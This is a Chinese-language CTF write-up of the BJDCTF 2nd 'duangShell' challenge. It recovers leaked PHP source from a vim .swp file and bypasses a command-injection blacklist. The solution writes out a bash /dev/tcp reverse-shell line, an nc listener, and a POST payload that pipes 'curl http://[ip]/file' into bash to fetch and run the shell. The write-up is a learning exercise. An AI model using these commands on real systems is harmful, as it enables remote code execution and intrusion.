1. 程式人生 > 實用技巧 >[BJDCTF 2nd]duangShell 反彈shell

[BJDCTF 2nd]duangShell 反彈shell

[BJDCTF 2nd]duangShell

[BJDCTF 2nd]duangShell

點選進去之後提示我們swp原始碼洩露,訪問http://xxx/.index.php.swp下載該檔案

該檔案產生的原因是:​使用vi編輯器開啟檔案時,會生成一個.檔名.swp的備份檔案,防止意外退出等情況導致檔案內容丟失。產生原因主要是管理員在web目錄下修改程式碼檔案,導致生成了.swp備份檔案。

我們使用vim -r 檔名 來恢復內容,然後按下任意鍵就可以看到其中的程式碼了。

windows下我在git命令列裡面進行操作的,

原始碼如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 </head> <body> <center><h1>珍愛網</h1></center> </body> </html> <?php error_reporting(0); echo"how can i give you source code? .swp?!"."<br>"; if(!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); }else{ $girl=$_POST['girl_friend'
]; if(preg_match('/\>|\\\/',$girl)) { die('just girl'); { }elseif(preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i',$girl)) { } {echo"<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; }else{ //duangShell~~~~ exec($girl); } } ~ }

  觀察原始碼之後發現是繞過過濾之後命令執行的題目

因為過濾了$符號,所以不能採用這種黑名單拼接的方式繞過

1 a=ca;b=t;c=flag;$ab$c

  禁用了base64之後不能使用base64編碼繞過

1 `echo"Y2F0IGZsYWc="|base64-d`

  又想了一些奇怪的姿勢,著實不行,看師傅們的部落格吧。

這道題用到的是反彈shell,又漲知識了,關於反彈shell可以看先知上的這兩篇文章:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

接著我們申請一個小號,在basic開啟一臺內網主機,預設好像apache服務已經開啟了,在/var/www/html 下寫入反彈shell

1 bash-i >&/dev/tcp/[ip]/[port] 0>&1

  這裡的ip是內網主機的ip,使用ifconfig可以檢視,port自己指定,我這裡使用的是4444

接著監聽本地的4444埠

1 nc-lvvp 4444

  在題目珍愛網介面,POST資料為:

1 girl_friend=curl http://[ip]/[檔名]|bash

  

ip是內網主機的IP,檔名是在html資料夾下寫入的反彈shell的檔名,我這裡是shell.txt

因為題目沒有禁止curl,讓珍愛網題目PHP程式碼裡的exec執行curl訪問內網靶機的寫有反彈shell命令的檔案,使內網靶機獲取到反彈shell。

獲取到反彈shell之後,題目靶機根目錄下有假的flag檔案

使用linux 的find命令查詢flag

1 find/ -name *flag*

  等待一會就能看到真實flag所在的位置了,然後cat檢視一下就能獲取flag

獲得flag

學習了反彈shell的一些操作

參考部落格:

https://blog.csdn.net/qq_40648358/article/details/105011659

https://www.cnblogs.com/gaonuoqi/p/12602309.html

https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell